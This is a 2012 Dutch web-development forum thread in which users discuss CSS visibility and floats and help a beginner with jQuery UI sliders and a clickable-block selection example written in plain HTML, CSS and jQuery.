Je kunt ook met een .clear class werken op je floating elements:
[ code verwijderd ]
ah ok. zonder een voorbeeldje kan ik er niet zoveel meequote:
-edit-
overigens ging het daar nieteens om bij mij, maar een collega wou overflow:auto gebruiken en dat verneukte het eea in chrome en safari.
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".quote:
[..]
Het is geen kwestie van beter of slechter, ze zijn gewoon voor verschillende dingen bedoeld. Soms is het juist wenselijk dat een element wel in de flow opgenomen blijft, maar toch niet zichtbaar is. Dan is de visibility-property precies wat je moet hebben.
Lol.quote:Op dinsdag 20 november 2012 13:33 schreef Scorpie het volgende:
Nog een leuke voor iedereen hier:
Ze hebben op de FP dit neergezet vandaag:
[ code verwijderd ]
En toen brak de pleuris uit.
Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testenquote:
[..]
kap toch met dat achterlijke stemmingmaken en doen alsof je aan de hand van code kunt zien wat het proces erachter is of is geweest.
Webads besloot een campagne te verkopen en ons op te zadelen met het ontwerp ervan en een aanlevertermijn van nagenoeg niets. Moet allemaal snel, snel, snel en dan kan er weleens een foutje worden gemaakt.
Is inderdaad niet getest. Was geen tijd voor, waarvoor excuses. Het werkt nu zoals zou moeten.
.Niemand ontkent dat je beter kunt testen. In dit geval was dat niet mogelijk.quote:
Blijkt meer weer dat zelfs onder de allerhoogste druk je maar beter wel kunt testen
Maar lang niet altijd wenselijk:quote:
Dat snap ik, maar in dit geval lijkt het me niet belangrijk dat hij in de flow wordt opgenomen. Een ieder is voor zich in staat om te beoordelen wat beter of slechter is, maar "display: none" is wel wat meer "best practice" dan "visibility: hidden".
http://css-tricks.com/pla(...)splay-none-but-dont/
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.quote:
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.quote:
[..]
toch kan het handig zijn. in de nieuwe fp heb ik geëxperimenteerd met weergavesnelheid. Hierbij bleek een winst van 40% mogelijk door een display:none op de body te doen en deze pas na opbouw van de DOM op te heffen. Laadtijd van de index ging van 920ms naar ongeveer 500ms. Dat is op onze beta-server die een tcp response van ruim 400ms heeft tov ~100ms voor de live-server. De index zou dus uiteindelijk in ongeveer 0.2s opgebouwd en weergegeven kunnen worden tov 0,6 a 0,7 sec als het opbouwen van de weergave gebeurt terwijl de body wordt weergegeven.
de rendering begint met weergave aan ook pas na ongeveer 0.5sec. Verschil is dat nu meteen de hele site voor je neus staat. Het valt dus met de user-experience wel mee. Ik maak het optioneel trouwens, dus als je liever de site progressief weergegeven wilt hebben dan kan dat. Standaard zal de fp waarschijnlijk in de header een document.write of geïnjecteerde style krijgen a la body{display:none;} of body{visibility:hidden;}, welke bij document.ready() weer uit de dom wordt verwijderd.quote:
Dan kijk je dus alleen naar de eindtijd, en verneuk je de progressive rendering van de browser waardoor de user-experience uiteindelijk alleen maar trager is.
Overigens worden veel dingen in de nieuwe fp asynchroon geladen, dus ook als de pagina wordt weergegeven is deze nog niet klaar met weergave (wel voor zaken als scrolling e.d.). Er blijft dus wel een gevoel van progressief laden.
Ik steek erg veel tijd in optimalisatie voor de nieuwe fp om de boel zo snel mogelijk te maken. Zowel in benchmarks als qua user-experience.
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.quote:
[..]
dank maar ik doelde op die over php, had deze al gebookmarked
[..]
specifiek kanaal in YouTube? kom er vaak toch zut tegen wat tijdverspilling bleek
Hier is de link: http://www.youtube.com/user/phpacademy
voorbeelden zijn in dit topic nogal lastig volgens mijquote:
[..]
ah ok. zonder een voorbeeldje kan ik er niet zoveel mee
quote:Op woensdag 21 november 2012 10:43 schreef Catch22- het volgende:
[..]
voorbeelden zijn in dit topic nogal lastig volgens mij
_ 't is goed met je, als ik de was en de strijk gedaan heb en geen zin heb om ook nog te stofzuigen, zal ik kijken of ik zin heb om misschien een proof-of-concept te schrijven. Tot die tijd kan er wat mij betreft gewoon normaal gereageerd worden op een vraag naar ervaringen.Oke.quote:
[..]
ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
visibility:hidden;quote:
[..]
Oke.
ik wil iets verbergen maar er staat iets omheen hoe kan ik dat fiksen? ik heb al positionabsolute geprobeerd ?
het is een tr
bedanktquote:
[..]
Ja, is een kanaal op Youtube van een groepje mensen die zeer goed kunnen uitleggen naar mijn mening. Ze komen in ieder geval vrij deskundig over en leggen dingen op eenvoudige wijze uit met veel tussenstappen.
Hier is de link: http://www.youtube.com/user/phpacademy
Hoe krijg ik een alert bij het klikken op de slider? Nu krijg ik alleen een alert als ik erboven klik. Het is de bedoeling dat er een variabelen wordt doorgegeven bij het klikken (manipuleren) van de slider.
Laat maar, ik heb weer niet verder gekeken dan m'n neus lang is.
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)quote:
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen?
Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
Dank, ik wist dat het ook "gewoon" met javaScript kan, maar inderdaad de JQuery manier is eenvoudig overzichtelijk en bekend.quote:
[..]
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank)
Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken.
Dit is een reactie op Alfje toch? Met dit is toch niets mis?quote:
Het is beter om geen javascript in je HTML te zetten.
| 1 2 3 4 5 6 7 8 | <html> <head></head> <body> <script> // javascript </script> </body> </html> |
Ik zal er even een JSFiddle van maken.SPOILER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>jQuery UI Slider - Range slider</title>
<link rel="stylesheet" href="http://code.jquery.com/ui/1.9.1/themes/base/jquery-ui.css" />
<script src="http://code.jquery.com/jquery-1.8.2.js"></script>
<script src="http://code.jquery.com/ui/1.9.1/jquery-ui.js"></script>
<link rel="stylesheet" href="/resources/demos/style.css" />
<script>
$(function() {
$( "#slider-range" ).slider({
range: true,
min: 0,
max: 500,
values: [ 75, 300 ],
slide: function( event, ui ) {
$( "#amount" ).val( "$" + ui.values[ 0 ] + " - $" + ui.values[ 1 ] );
}
});
$( "#amount" ).val( "$" + $( "#slider-range" ).slider( "values", 0 ) +
" - $" + $( "#slider-range" ).slider( "values", 1 ) );
});
</script>
</head>
<body>
<p>
<label for="amount">Price range:</label>
<input type="text" id="amount" style="border: 0; color: #f6931f; font-weight: bold;" />
</p>
<div id="slider-range"></div>
</body>
</html>
[ Bericht 1% gewijzigd door pascal08 op 23-11-2012 19:26:17 ]
Beter hou je je javascript gewoon in een los scriptbestand.quote:
[..]
Dit is een reactie op Alfje toch? Met dit is toch niets mis?
[ code verwijderd ]
Ja, dat heb ik ook.quote:
[..]
Beter hou je je javascript gewoon in een los scriptbestand.
| 1 | <script src=""></script> |
Lekker clean.
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.quote:
http://jsfiddle.net/cJnUA/1/
Je hebt het nooit nodig, het is puur luiheid.quote:
[..]
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet.
Hoe krijg ik unieke variabelen voor elke slider? Nu wordt dus elke keer de waarde gereset naar de waarde van de andere slider:quote:
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders.
http://jsfiddle.net/cJnUA/1/
http://jsfiddle.net/cJnUA/2/
De classes heten leading-0 en leading-1.quote:
Voor jullie een simpele vraag, voor mij een lastige puzzel.
Hoe krijg je op deze pagina een stukje ruimte tussen die nieuwsberichten?
Via Chrome ontdekt dat dat stukje items-leading heet, maar als ik in die code ga sleutelen, dan verandert er niets tussen de divjes in, maar juist er omheen. Zat wat te stoeien met margin, maar blijkbaar zit ik op de verkeerde weg.
Ik zag het al. Dom van me.quote:
[..]
De classes heten leading-0 en leading-1.
Hoe krijg ik deze sliders in een tabelvorm?
Als ik th tags gebruik dan verdwijnen de sliders. Ik denk zelf dat het komt omdat $(this).parent() dan naar de verkeerde tags wijst, maar ik zou niet weten wat de juiste syntax is om weer naar span te verwijzen tussen de th-tags.
Kan iemand mij een zetje in de goede richting geven?
Ik gebruik elke keer dit setje:quote:
| 1 2 3 4 | <tr> <th></th> <th></th> </tr> |
De tabel heeft geen hoofdrij.
De tags heb ik weggelaten, omdat je de sliders anders niet meer ziet.
...da's anders niet wat op je jsfiddle sample staat.quote:
[..]
Ik gebruik elke keer dit setje:
[ code verwijderd ]
De tabel heeft geen hoofdrij.
En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
Ik zou ook kunnen zeggen dat ik alleen maar hoofdrijen gebruik. Maakt dat uit?quote:
[..]
...da's anders niet wat op je jsfiddle sample staat.
En als je geen hoofdrij hebt, waarom gebruik je dan wel th's?
Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?
Maar zolang je beiden niet gebruikt is je HTML sowieso invalid en kun je dus de raarste dingen verwachten.
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.quote:
Euh. Ja?
Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ?
Mensen met een screenreader worden er niet blij van als je alles in th's zet. Daar staat normaal gesproken de beschrijving van een rij of kolom in.quote:
[..]
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Dan zou ik zeggen: Doe dat.quote:
[..]
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit.
Dat is nou juist het probleem. Als ik dat doe dan klopt de javascript code niet meer. Mijn vraag is dus of iemand weet hoe ik iets tussen de span-tags kan printen als er th/td-tags om de span-tags staan.quote:
Hoe krijg ik deze sliders in tabelvorm?
http://jsfiddle.net/kkKx6/3/
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:quote:
pas de probleme? http://jsfiddle.net/LgwQf/
Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*
Is dat de standaard procedure hier?quote:
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte.
Soms. Je bent nu al op de goede weg, de rest moet je nu zelf kunnen.quote:
[..]
Is dat de standaard procedure hier?
Jij denkt dat ik het vraag omdat ik te lui ben? Dit kost me meer tijd dan even simpel een paar <td> tags om de code heen te zetten.quote:
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me"
| 1 | .ui-slider { position: relative; text-align: left; } |
| 1 | .ui-slider { position: relative; text-align: left; display: inline-block; width: <noem een getal>px} |
Een <div>-element heeft als standaard-stijl "display: block", wat betekent dat het element de volledige breedte inneemt waardoor er dus niets naast kan staan. Door bijv. "display: inline-block" te geven neemt het <div>-element niet meer de volledige breedte in. Je moet dan nog wel even handmatig de breedte specificeren.
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.quote:
Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.quote:
[..]
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.
quote:
Vervang:
[ code verwijderd ]
Door:
[ code verwijderd ]
Dat kan ja, maar ik wil het liever in een HTML-tabel.
En waarom moeten wij dat uit de lucht raden, terwijl jij zelf gewoon je console open kunt zetten? Is dit een soort quiz?quote:
[..]
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet.
Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed.
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.quote:
[..]
Dat kan ja, maar ik wil het liever in een HTML-tabel.
quote:
[..]
Dat kan ja, maar ik wil het liever in een HTML-tabel.
| 1 2 3 4 5 6 7 8 9 10 11 12 | <table> <tr> <td>kolom1</td> <td>kolom2</td> <td>kolom3</td> </tr> <tr> <td>kolom1</td> <td>kolom2</td> <td>kolom3</td> </tr> </table> |
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen.quote:
[..]
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan.
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?quote:
[..]
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens.
Zo dus: http://jsfiddle.net/kkKx6/4/
Yes.quote:
[..]
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel?
Zo dus: http://jsfiddle.net/kkKx6/4/
Doe het gewoon met CSS?quote:
[..]
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen.
http://jsfiddle.net/kkKx6/8/
Thanks. Ik zat helemaal in een tunnelvisie met die tabel, omdat Bootstrap een mooi tabelletje genereert met een simpele code. Ik zal nu dus even uit moeten vogelen hoe ik hetzelfde effect krijg zonder Bootstrap.quote:
DIG / Kijk hier als je snel een oplossing wil voor je probleem
Ik heb m'n probleem hier veel sneller opgelost, maar toch bedankt.quote:
Ik zou zeggen ga dit topic eens doorlezen:
DIG / Kijk hier als je snel een oplossing wil voor je probleem
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
Als je een aantal posts terugleest dan zie je dat ik hier eerder een vraag had gesteld hoe ik meerdere sliders met 1 code kon aansturen. Uiteindelijk heb ik dat helemaal zelf (goed hè?quote:
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen.
Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had.
) opgelost. Sorry, dat ik niet in 1 keer de vraag juist formuleerde. Sorry, dat ik niet kan programmeren en constant hier om hulp vraag. Sorry, dat ik geen interesse heb om te betalen om problemen opgelost te krijgen. En normaals sorry dat ik die hele focking HTML code verneukte met m'n stomme <th> tags. Echt, sorry...
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht.quote:
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen.
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:quote:
[..]
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht.
Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weetquote:
[..]
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil:
Slider1..........1-99..........*slider1*
Slider2..........1-99..........*slider2*
quote:
[..]
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was:
[..]
Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet
Hier had ik al de oplossing gepost he, voor de duidelijkheid.quote:
[..]
Doe het gewoon met CSS?
http://jsfiddle.net/kkKx6/8/
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.quote:
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
Ik ga zo wel even posten wat ik ervan gemaakt heb, mogen jullie het weer afblaffen.quote:
[..]
Hier had ik al de oplossing gepost he, voor de duidelijkheid.
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.quote:
[..]
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.quote:
[..]
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen.quote:
[..]
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
Deze kan zo in het rijtje Cruijffiaanse uitspraken.quote:
[..]
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
Maar ik snap je punt. Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.quote:
[..]
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen.
Dat snap ik volledig. Als mensen een potje maken van mijn vakgebied kan ik ook heel boos worden. Het is vaak lachwekkend om te zien hoe sommige mensen te werk gaan. Echter moet je niet vergeten dat dit om een privé-projectje gaat waar het woord "professioneel" in de verste verte niet te bekennen valt. Ik hoopte hier gewoon simpele, maar doeltreffende oplossingen te vinden van mensen die wél weten hoe je een probleem professioneel oplost.quote:
[..]
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
Dat dacht ik ook.quote:
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
Helaas is er niet zoiets als :first-word, dus ik neem aan dat ik maar gewoon met js achteraf de categorie moet splitten en er spans met classes omheen moet zetten? Of weet iemand een betere oplossing?
(dit even er vanuit gaande dat je serverside iets van parsing doet)
Dat geeft je wel de beste garantie dat het ook nog voor iedereen gewoon leesbaar blijft. Wat toch uiteindelijk het allerbelangrijkste is.quote:
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
Ik heb weer een vervelende vraag (en nóg onduidelijker dan de vorige). Ik heb de selectable plugin van jQuery UI gebruikt om een selectable grid-systeem te maken. Als ik de code 1-op-1 kopieer in een leeg "document", dan werkt het prima. Nu wil ik de code ook gebruiken in mijn "document" (en dan werkt het ook). Echter na een onbekende handeling verschijnt er een puntje in beeld. Ik weet dus niet waardoor dit getriggerd wordt.
Het vervelende is dus dat ik er geen JSFiddle van kan maken, omdat het probleem dan niet ontstaat. Ik zou natuurlijk m'n hele project kunnen kopiëren, maar dat houdt ik liever alleen voor mezelf. De vraag is dan ook of jullie een vermoeden hebben waardoor de puntje steeds zichtbaar wordt. Na het triggeren van het puntje, verschijnt ie altijd in dezelfde hoogte boven de cursor en alleen bij het klikken. Als ik de pagina dan refresh is 'ie weer weg, maar na de onbekende handeling verschijnt 'ie weer, alleen dan weer in een andere hoogte boven de cursor.
Zelf dacht ik dat het misschien het puntje van een li was, maar met "list-style-type: none;" lijkt 'ie niet weg te gaan. Chrome geeft bij het klikken wel een helper-class weer die wellicht het probleem veroorzaakt. Hebben jullie enig idee wat dit puntje is?
Bedoel je Element Inspect van Chrome?quote:
Ja, die gebruik ik.En wat zie je als je dan het puntje selecteert?quote:
[..]
Bedoel je Element Inspect van Chrome?
Het puntje kan ik niet selecteren. Het verschijnt altijd op een bepaalde hoogte boven de cursor bij het klikken.quote:
[..]
En wat zie je als je dan het puntje selecteert?
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?quote:
[..]
Het puntje kan ik niet selecteren.
Anders is het misschien een glitch. Heb je het met andere browsers ook?
Ik wil straks met jQuery gegevens versturen. Kan dat ook anders dan? Waarom is deze plugin er dan?quote:
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
[ Bericht 2% gewijzigd door pascal08 op 29-11-2012 22:30:57 ]
Ja, die heb ik bekeken. Er valt mij niets vreemds op. Ik zal nu kijken of ik het ook kan triggeren met Firefox.quote:
[..]
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?
Anders is het misschien een glitch. Heb je het met andere browsers ook?
Nee, dat snap ik. Ik hoopte dat het een bekend probleem is. Zonder code wordt het natuurlijk gewoon gokken als je dit probleem niet eerder hebt gezien. Ik zal eens kijken of ik het kan reproduceren in een fiddle, momentje.quote:
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op
Ik wist ten eerste niet hoe ik mijn layout wilde gaan maken, dus dit bracht me op een goed idee. Ten tweede weet ik hoe ik met jQuery gegevens moet doorsturen, zodat ik een query kan maken die de juiste gegevens ophaalt uit m'n database. En ten derde scheelde het me wat tijd, want ik hoef nu niet zelf m'n CSS te maken. Ik zag er dus alleen maar voordelen in. Waarom vraag je dat dan?quote:
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
Ik kan het probleem trouwens niet reproduceren in een fiddle, dus ik laat het maar even zo. Toch bedankt voor de snelle reactie.
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.quote:
Ik gebruik jQuery UI toch al, dus dan is het toch handiger om deze plugin te gebruiken in plaats van het zelf te schrijven. Daarnaast vind ik jQuery wel fijn. Alles is voorgekauwd en het scheelt mij als beginner een hoop tijd.quote:
[..]
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
Maar jQueryUI vind ik persoonlijk wat minder. Als ik het al gebruik is het vaak een hele minimale build met maar 1 of 2 componenten.
Ik vind het wel een uitkomst. Ik haal er een hele hoop ideeën vandaan en het werkt altijd meteen. Wellicht is de code zelf schrijven efficiënter voor de website, maar dan ben ik in 2025 nog niet klaar.quote:
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.
Maar jQueryUI vind ik persoonlijk wat minder.
Ik heb het puntje nu ook weten te triggeren in deze fiddle: http://jsfiddle.net/5BNdM/
Vraag me niet hoe. Het vereist in ieder geval een hoop clicks.
Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Hoe zou jij het doen dan? Het gaat alleen om het principe van selecteren/geselecteerd blijven en deselecteren/gedeselecteerd blijven.quote:
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.
Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Wat zou dat schelen in ms of is het puur omdat je code er kleiner van wordt?quote:
Gewoon onclick een class "selected" geven of ontnemen.
Da's waar.quote:
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten
Hij is nu wel al een tijdje weg nadat ik de code opnieuw gekopieerd en geplakt heb. *klop klop*
Volgens jou kan ik dus beter het zo doen?| 1 2 3 | <div class=" (selected of niks) " style="float:left; margin: 2px; padding: 0px; width: 80px;"> // inhoud </div> |
en dan de jQuery... ?
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <!DOCTYPE html> <html> <head> <title>Voorbeeld van klikbare blokjes</title> <link rel="stylesheet" href="style.css" type="text/css" /> </head> <body> <h1>omg klikbare blokjes</h1> <ul id="selectable"> <li data-id="1">blokje 1</li> <li data-id="2">blokje 2</li> <li data-id="3">blokje 3</li> <li data-id="4">blokje 4</li> <li data-id="5">blokje 5</li> <li data-id="6">blokje 6</li> <li data-id="7">blokje 7</li> <li data-id="8">blokje 8</li> <li data-id="9">blokje 9</li> </ul> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> <script src="script.js"></script> </body> </html> |
style.css:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | body { font-family: sans-serif; text-align: center; } #selectable { list-style-type: none; } #selectable li { float: left; width: 80px; height: 80px; background-color: #eee; border: 1px solid #888; border-radius: 3px; margin: 5px; padding: 10px; cursor: pointer; } #selectable li:hover { background-color: #fff; } #selectable li.selected { background-color: #f8f89f; } |
script.js:
| 1 2 3 4 5 | $(document).ready(function(){ $('#selectable li').live('click', function(){ $(this).toggleClass('selected'); }); }); |
Holy shit, even kijken.quote:
Is zoiets niet wat je wil?
[ code verwijderd ]
style.css:
[ code verwijderd ]
script.js:
[ code verwijderd ]
W00t, deze is nog mooier.
...en geen puntje!!! Thanks a million. 
In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Wel een heel mooi voorbeeldje.quote:
Het is maar een voorbeeldje hoor.
In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Ik weet hoe ik jouw voorbeeld kan uitbreiden met een Ajax call, dus dit is perfect. Nog 1 vraagje: waar gebruik je data-id voor bij elke <li>?Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie.quote:
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Ik heb trouwens ook een slidersysteem gemaakt met jQuery UI. Ik heb er enorm veel werk aan gehad om het helemaal werkend te krijgen, terwijl ik de basis dus niet eens zelf heb hoeven te schrijven. Zou jij zoiets ook zelf maken?
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond.quote:
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Ik snap niet helemaal wat je bedoelt.quote:
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
jQuery UI is toch één compleet bestand? Kan ik delen daarvan gewoon weghalen?Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude.quote:
http://jqueryui.com/download/
Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
